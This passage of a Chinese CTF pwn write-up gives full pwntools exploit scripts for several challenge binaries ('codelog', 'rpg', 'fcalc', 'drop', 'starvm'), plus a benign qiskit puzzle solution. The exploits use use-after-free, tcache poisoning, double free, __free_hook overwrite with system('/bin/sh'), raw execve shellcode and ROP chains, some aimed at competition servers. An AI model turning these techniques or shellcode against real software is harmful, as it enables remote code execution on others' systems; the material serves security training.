show(0)

ru("log: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1e9061
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

利用 scanf 的堆溢出可以修改 tcache,从而劫持 free_hook

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './codelog1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b *0x401AE1")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla("$",str(op))

def init(size,char,weight):
cmd("Init")
sla("Size:",str(size))
for i in range(size):
sla("char:",char)
sla("weight:",str(weight))

def Encode(size,data):
cmd("Encode")
sla("input:",str(size))
sla("Input: ",data)

def Decode(size,key,data):
cmd("Decode")
sla("The length of input: ",str(size))
sla(">>",str(key))
if(key == 1):
sla("Confirm? [Y/N]","N")
sla("Manual input:",data)

def Show_code():
cmd("Show_code")

def Show_tree():
cmd("Show_tree")

def add(size,data):
cmd("Add_log")
sla("size: ",str(size))
sla("log: ",data)

def dele(index):
cmd("Delete_log")
sla("idx: ",str(index))

def show(index):
cmd("Print_log")
sla("idx: ",str(index))

init(0x48,"1",1)

for i in range(8):
add(0x110,"a"*8)

for i in range(7):
dele(7-i)
dele(0)

add(0x60,"a")
show(0)

ru("log: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1e9061
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
success("free_hook >> "+hex(free_hook))

#debug()

payload = "1"*7 + p64(libc_base+0x1ecbe0)*1
payload += p64(0)+p64(0x91)+p64(libc_base+0x1ecbe0)*2
payload += 0x70 * "2"
payload += p64(0x90) + p64(0x240) + p64(free_hook)

cmd("Init")
sla("Size:",str(2))
sla("char:",payload)
sla("weight:","1")
sla("char:","1")
sla("weight:","1")

add(0x110,"/bin/sh")
add(0x110,p64(system))

dele(1)

p.interactive()

rpg

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
rpg: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b69646b934160ce4f2f19a27b4d4637e7cd180f8, stripped                  
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Partial RELRO,NX,PIE

flatbuffers 逆向分析

在开始分析本题目前,需要先了解 flatbuffers 的相关知识,可以在官网了解其基础用法:

经过长时间的逆向分析,发现程序会大量使用如下结构去索引数据:

1
2
3
4
__int64 __fastcall sub_1BE0(char *a1)
{
return sub_2E70((__int64)a1, 4u);
}
1
2
3
4
__int64 __fastcall sub_2E70(__int64 a1, unsigned __int16 a2)
{
return sub_2EA0(a1, a2);
}
1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sub_2EA0(__int64 a1, unsigned __int16 a2)
{
unsigned __int16 v4; // [rsp+24h] [rbp-Ch]

v4 = sub_2A30(a1, a2);
if ( v4 )
return sub_23C0((unsigned int *)(v4 + a1)) + v4 + a1;
else
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sub_2A30(__int64 input, unsigned __int16 num)
{
char *v4; // [rsp+8h] [rbp-18h]

v4 = (char *)sub_2AE0(input);
if ( num >= (int)sub_29D0((unsigned __int16 *)v4) )
return 0;
else
return sub_29D0((unsigned __int16 *)&v4[num]);
}

从 flatbuffers 官方测试样例中编译了几个二进制文件,找到类似的结构:(反序列化部分)

1
2
3
4
const MyGame::Sample::Vec3 *__cdecl MyGame::Sample::Monster::pos(const MyGame::Sample::Monster *const this)
{
return flatbuffers::Table::GetStruct<MyGame::Sample::Vec3 const*>(this, 4u);
}
1
2
3
4
5
6
7
8
9
10
11
12
const MyGame::Sample::Vec3 *__cdecl flatbuffers::Table::GetStruct<MyGame::Sample::Vec3 const*>(
const flatbuffers::Table *const this,
flatbuffers::voffset_t field)
{
flatbuffers::voffset_t OptionalFieldOffset; // ax

OptionalFieldOffset = flatbuffers::Table::GetOptionalFieldOffset(this, field);
if ( OptionalFieldOffset )
return (const MyGame::Sample::Vec3 *)&this[OptionalFieldOffset];
else
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
flatbuffers::voffset_t __cdecl flatbuffers::Table::GetOptionalFieldOffset(
const flatbuffers::Table *const this,
flatbuffers::voffset_t field)
{
const unsigned __int8 *vtable; // [rsp+18h] [rbp-8h]

vtable = flatbuffers::Table::GetVTable(this);
if ( field >= flatbuffers::ReadScalar<unsigned short>(vtable) )
return 0;
else
return flatbuffers::ReadScalar<unsigned short>(&vtable[field]);
}

也就是说,题目设计了 flatbuffers 反序列化的部分,需要我们逆向出序列化逻辑并将序列化后数据作为程序的输入

flatbuffers 的反序列化需要定义 cft.fbs 文件(用于指定序列化格式),目前只能通过反序列化伪代码来猜测 cft.fbs 中可能的结构,我在题目中找到了如下的突破口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 __fastcall Verify(char *this, _QWORD *verifier)
{
__int64 key; // rax
unsigned int *index2; // rax
unsigned int *v4; // rax
char v6; // [rsp+2Fh] [rbp-11h]

v6 = 0;
if ( (VerifyTableStart((__int64)this, verifier) & 1) != 0 )
{
v6 = 0;
if ( VerifyOffset_unsigned_int((__int64)this, verifier, 4u) )
{
key = get_key(this);
v6 = 0;
if ( (VerifyString(verifier, key) & 1) != 0 )
{
v6 = 0;
if ( (VerifyField_int((__int64)this, verifier, 6u, 8LL) & 1) != 0 )
{
v6 = 0;
if ( (VerifyField_int((__int64)this, verifier, 8u, 8LL) & 1) != 0 )
{
v6 = 0;
if ( VerifyOffset_unsigned_int((__int64)this, verifier, 0xAu) )
{
index2 = get_index2((__int64)this);
v6 = 0;
if ( (sub_2630((__int64)verifier, (__int64)index2) & 1) != 0 )
{
v4 = get_index2((__int64)this);
v6 = 0;
if ( (sub_2680((__int64)verifier, v4) & 1) != 0 )
v6 = sub_2720((__int64)verifier);
}
}
}
}
}
}
}
return v6 & 1;
}

Verifier 是 flatbuffers 的检查器:

  • VerifyString(verifier, key) 暴露了 cft.fbs 的第1个条目是 string
  • VerifyField_int(this, verifier, 6u, 8LL) 暴露了 cft.fbs 的第2,3个条目是 int64

而最后一个条目可以从如下伪代码中分析出来:

1
2
3
v1 = get_index2((__int64)input);
v6 = get_index(v1, offset);
index = sub_1D10(v6);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall get_index(unsigned int *a1, unsigned int a2)
{
__int64 v2; // rax

if ( a2 >= (unsigned int)sub_1C80(a1) )
__assert_fail(
"i < size()",
"../include/flatbuffers/vector.h",
0xB0u,
"flatbuffers::Vector::return_type flatbuffers::Vector<flatbuffers::Offset<MyGame::Item>>::Get(SizeT) const [T = fla"
"tbuffers::Offset<MyGame::Item>, SizeT = unsigned int]");
v2 = sub_3BB0(a1);
return sub_3B60(v2, a2);
}
  • cft.fbs 的第4个条目是 Vector tables2
  • 近一步对比分析可以得知:tables2 存放有2个条目 - (int64,string)

最后设计出的 cft.fbs 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
namespace Test.Sample;

table Monster {
key:string;
offset:int64 = 0;
size:int64 = 0;
index:[Weapon];
}

table Weapon {
index:int64;
key:string;
}

root_type Monster;

漏洞分析

程序只置空了 size,有 UAF 漏洞:

1
2
free(datag.chunk_list[index]);
datag.size_list[index] = 0LL;

入侵思路

先利用 UAF 进行泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
add(0,0x420)
add(1,0x60)

dele(0)
add(0,0x30)
show(0)

leak_addr = u64(p.recv(8))
libc_base = leak_addr - 0x1ecfd0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))
p.recv(8)
leak_addr = u64(p.recv(8))
heap_base = leak_addr - 0x122c0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

然后利用 UAF 打 double free 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
# -*- coding:utf-8 -*-s
import sys
from pwn import *

arch = 64
challenge = './rpg1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x158D)\n")
#pause()

def cmd(op):
sla(">",str(op))

def add(index,size,offset=0):
payload = p64(0x14)+p64(0xc0004001c000c)+p64(0xc00080014)+p64(0x1400000044)
payload += p64(offset)+p64(size)
payload += p64(0xc00000001)+p16(0x8)+p16(0x10)+p32(0x40008)+p32(0x8)+p32(0xc)
payload += p64(index)
payload += p32(4)+"aaaa"+p32(0)
payload += p32(6)+"Create"
sa("Enter flat buffer:",payload)

def show(index,size=0,offset=0):
payload = p64(0x14)+p64(0xc0004001c000c)+p64(0xc00080014)+p64(0x1400000044)
payload += p64(offset)+p64(size)
payload += p64(0xc00000001)+p16(0x8)+p16(0x10)+p32(0x40008)+p32(0x8)+p32(0xc)
payload += p64(index)
payload += p32(4)+"aaaa"+p32(0)
payload += p32(4)+"Show"
sa("Enter flat buffer:",payload)

def dele(index,size=0,offset=0):
payload = p64(0x14)+p64(0xc0004001c000c)+p64(0xc00080014)+p64(0x1400000044)
payload += p64(offset)+p64(size)
payload += p64(0xc00000001)+p16(0x8)+p16(0x10)+p32(0x40008)+p32(0x8)+p32(0xc)
payload += p64(index)
payload += p32(4)+"aaaa"+p32(0)
payload += p32(6)+"Delete"
sa("Enter flat buffer:",payload)

def edit(index,size,data,offset=0):
payload = p64(0x14)+p64(0xc0004001c000c)+p64(0xc00080014)+p64(0x1400000044+len(data))
payload += p64(offset)+p64(size)
payload += p64(0xc00000001)+p16(0x8)+p16(0x14)+p32(0x40008)+p32(0x8)+p32(0x10)
payload += p64(index)+p32(0)
payload += p32(len(data))+data+p32(0)
payload += p32(4)+"Edit"
sa("Enter flat buffer:",payload)

add(0,0x420)
add(1,0x60)

dele(0)
add(0,0x30)
show(0)

leak_addr = u64(p.recv(8))
libc_base = leak_addr - 0x1ecfd0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))
p.recv(8)
leak_addr = u64(p.recv(8))
heap_base = leak_addr - 0x122c0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
success("free_hook >> "+hex(free_hook))

for i in range(10):
add(i+2,0x60)
for i in range(7):
dele(i+2)

dele(10)
dele(11)
dele(10)

for i in range(7):
add(i+2,0x60)
add(10,0x60)
edit(10,0x60,p64(free_hook))

add(11,0x60)
add(12,0x60)
add(13,0x60)
edit(13,0x60,p64(system))
edit(12,0x60,"/bin/sh\x00")

dele(12)

#debug()

p.interactive()

output

1
2
3
4
5
6
7
8
9
10
Suppose the quantum circuit is named "qc", the quantum operations are as follows:

X: bit-flip gate e.g. "qc.x(1)" means flipping qubit 1;
H: Hadamard gate e.g. "qc.h(1)" means make the Hadamard transfomation on qubit 1;
I: Identity gate e.g. "qc.i(1)";
CNOT gate: e.g. "qc.cx(0,1)" means "q[1]=(q[1]+q[0]) mod 2";
Toffoli gate: e.g. "qc.ccx(0,1,2)" means "q[2]=(q[2]+q[1]*q[0]) mod 2".
Measure: e.g. "qc.measure(1,0)" means measure the qubit 1 and store the measured result into classical bit 0.

You can get more details in "demo".

附图:

这道题目的关键就是 matplotlib.pyplot 模块

有了该模块进行可视化,很快就可以求出答案,完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from qiskit import *
from qiskit.visualization import plot_histogram
import matplotlib.pyplot as plt

simulator = Aer.get_backend('qasm_simulator')
qc = QuantumCircuit(36,3)

qc.x(0)
qc.x(1)
qc.i(2)
qc.x(3)
qc.x(4)
qc.x(5)
qc.i(6)
qc.x(7)
qc.x(8)
qc.x(9)
qc.i(10)
qc.x(11)
qc.i(12)
qc.x(13)
qc.i(14)
qc.x(15)
qc.i(16)
qc.x(17)
qc.i(18)
qc.i(19)

qc.h(0)
qc.h(1)
qc.h(2)
qc.h(3)
qc.h(4)
qc.h(5)
qc.h(6)
qc.h(7)
qc.h(8)
qc.h(9)
qc.h(10)
qc.h(11)
qc.h(12)
qc.h(13)
qc.h(14)
qc.h(15)
qc.h(16)
qc.h(17)
qc.h(18)
qc.h(19)

qc.ccx(3,7,21)
qc.ccx(15,16,22)
qc.ccx(2,6,23)
qc.ccx(12,13,24)
qc.ccx(10,11,25)
qc.ccx(0,14,26)
qc.ccx(1,5,27)
qc.ccx(8,9,28)
qc.ccx(0,4,29)
qc.ccx(5,11,30)
qc.cx(21,24)
qc.x(27)
qc.ccx(4,30,31)
qc.cx(24,25)
qc.cx(27,30)
qc.ccx(4,11,31)
qc.ccx(23,24,26)
qc.ccx(27,28,29)
qc.ccx(30,32,34)
qc.cx(29,31)
qc.cx(17,34)
qc.cx(31,33)
qc.ccx(18,34,35)
qc.x(33)
qc.ccx(34,31,20)

qc.measure([35,33,34],[2,0,1])

job = execute(qc, simulator, shots=100000)
# Grab results from the job
result = job.result()
# Returns counts
counts = result.get_counts(qc)
print("\nTotal count for 00 and 11 are:",counts)
# Plot a histogram
plot_histogram(counts)
# Draw the circuit
qc.draw(output='mpl')
plt.show()

Glass

从32x32的像素点中选择10个,基数很小可以直接爆破

fcalc

1
2
3
4
5
6
7
fcalc: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=05285bcf7cd192619ab73f7c8e90e4e0d357c11c, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
  • 64位,dynamically,Full RELRO,PIE

程序分析

程序大致上实现了一个计算器,输入数字可以将数字压栈,输入运算符号 +-*/ 可以从栈中弹出栈顶的两个数字,进行运算后将结果压回

入侵思路

关键点就是在栈上注入一个 shellcode,需要通过下面的检查:

1
2
3
4
5
6
7
8
9
10
for ( j = 0; j <= 0x2F; ++j )
{
doublet = fabs(*(double *)ptr);
if ( doublet != 0.0 && (doublet < 1.0 || doublet > 100.0) )
{
printf("ERROR: %lf\n", doublet);
exit(1);
}
ptr += 8;
}

当然不可能整个 shellcode 都通过检查,通过 GDB 调试可以发现栈上有个栈地址,于是需要写一个 add rsp,offset;ret; 跳转到这个栈地址上,在这里布置 shellcode

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './fcalc'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('61.147.171.105','49628')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1876)\n")
pause()

def cmd(op):
sla(">",str(op))

def sendNum(num):
sleep(0.1)
sl(str(num))

def sendKey(key):
sleep(0.1)
p.send(key)

payload = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\x48\x31\xC0\x48\x31\xF6\x48\x31\xD2\xb0\x3b\x0f\x05"
print(payload)

sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")

#debug()

sendKey(payload.ljust(0x40,"\x00")+p64(0x40000000d0ec8148)*24+p64(0x40000000d0ec8148)+p64(0x40000000d0ec8148)+p64(0x3ff00000000000c3))

sendKey(chr(ord('/')+1))

p.interactive()

drop

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
drop: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3bdb633ba28af9d5592d174f3b181e4b5485e8db, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

漏洞分析

这个题的伪代码有点怪,正常分析程序功能有点困难,需要根据输入的内容来判断程序各个模块对堆的影响

我一般遇到这种难以分析的题目都会直接开始调试:

1
2
3
4
for i in range(9):
add(str(i+1)*0x200)

bubble(0,1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
tcachebins
0x20 [ 1]: 0x5555555ad9e0 ◂— 0x0
0x30 [ 1]: 0x5555555ab910 ◂— 0x0
0x70 [ 1]: 0x5555555ada00 ◂— 0x0
0x80 [ 1]: 0x5555555ab480 ◂— 0x0
0xd0 [ 1]: 0x5555555ae2b0 ◂— 0x0
0x1e0 [ 1]: 0x5555555ab2a0 ◂— 0x0
0x210 [ 2]: 0x5555555afa10 —▸ 0x5555555ada70 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5555555aef50 —▸ 0x7ffff7f61be0 (main_arena+96) ◂— 0x5555555aef50
  • 这里大概推测一下,函数 bubble 的功能如下:
    • 当 key 为0时,释放第 index 个 chunk
    • 当 key 为1时,将前 index 个 chunk 全部释放,申请并拷贝到新的 chunk 中

程序的 bubble 可以用于释放堆块,在其中有 UAF 漏洞

入侵思路

利用 UAF 漏洞可以完成泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
for i in range(9):
add(str(i+1)*0x200)

bubble(0,1)
show(1)
ru("The 1th item: \n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x2a70
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

bubble(1,2)
show(8)
ru("The 8th item: \n")
p.recv(8)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1ecbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))
  • 上面这个堆风水就是猜出来的,遇到这种不好分析的题目一定不要执着于逆向,要适当猜测数据

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './drop1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla("choice:",str(op))

def add(data):
cmd(1)
sla("item:",data)

def show(idx):
cmd(2)
sla("Index:",str(idx))

def edit(idx,data):
cmd(3)
sla("Index:",str(idx))
sla("content:",data)

def bubble(key,idx):
cmd(4)
sla("West/East?",str(key))
sla("index:",str(idx))

def dele(idx):
cmd(5)

#debug()

for i in range(9):
add(str(i+1)*0x200)

bubble(0,1)
show(1)
ru("The 1th item: \n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x2a70
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

bubble(1,2)
show(8)
ru("The 8th item: \n")
p.recv(8)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1ecbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
success("free_hook >> "+hex(free_hook))
success("system >> "+hex(system))

for i in range(9):
add(str(i+1)*0x200)

bubble(0,1)
edit(1,p64(free_hook))

add("/bin/sh\x00".ljust(0x200,"\x00"))
add(p64(system).ljust(0x200,"\x00"))
bubble(0,1)

p.interactive()

starvm

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
1
2
3
4
5
6
starvm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f7648c6285dbb9299e6ee84f7b48f53de6626be6, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Partial RELRO,Canary,NX

漏洞分析

程序的核心结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
00000000 Chunk struc ; (sizeof=0x7C, mappedto_9)
00000000 cmd_listp dq ? ; offset
00000008 next dq ? ; offset
00000010 field_10 dq ?
00000018 data_list dq ? ; offset
00000020 data1 dq ? ; offset
00000028 data2 dq ? ; offset
00000030 cmd_list dq ? ; offset
00000038 answer dd 14 dup(?)
00000070 answer_addr dq ? ; offset
00000078 answer2 dd ?
0000007C Chunk ends

case-10 中没有 offset 检查,可以溢出到核心结构体中:

1
2
3
4
5
6
case 10:                                // lea
indext = index;
++cmd_list;
index += 2;
chunk->answer[chunk->data_list[indext]] = chunk->data_list[indext + 1];
break;
1
2
3
4
5
6
7
8
case 12:                                // lea3
data1 = chunk->data1;
indext = index;
++cmd_list;
++index;
chunk->answer[chunk->data_list[indext]] = *(data1 - 1);
chunk->data1 = data1 - 1;
break;

入侵思路

由于程序是提供了 stack_addr 的,通过程序的溢出,可以将 answer_addr 覆盖为 stack_addr,然后就可以修改栈上的数据了

劫持栈,利用 puts 泄露 libc_base,然后写 main 函数地址循环执行程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
ru("your vm starts at ")
leak_addr = eval("0x"+ru("\n"))
stack_base = leak_addr - 8
success("leak_addr >> "+hex(leak_addr))
success("stack_base >> "+hex(stack_base))

stack_addr1 = (stack_base) % 0x100000000
stack_addr2 = (stack_base >> 32) % 0x100000000
main_addr = 0x4012B0
puts_got = 0x401240
printf_got = 0x404018
pop_rdi_ret = 0x00000000004017cb

sla("command:","10 10 10 10 10 10 7 7 7 7 7 7 7 16")
ru("your cost:")
sl("14")
sl(str(stack_addr1))
sl("15")
sl(str(stack_addr2))
sl("2")
sl(str(puts_got))
sl("4")
sl(str(pop_rdi_ret))
sl("6")
sl(str(printf_got))
sl("8")
sl(str(main_addr))

sl("4")
sl("0")
sl("0")
sl("1")
sl("6")
sl("2")
sl("0")
sl("3")
sl("2")
sl("4")
sl("0")
sl("5")
sl("8")
sl("6")
sl("0")
sl("7")
sl(str(0xDEADBEEF))

最后在栈上覆盖一个 ROP 就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
# -*- coding:utf-8 -*-
from signal import pause
from pwn import *

arch = 64
challenge = './starvm1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
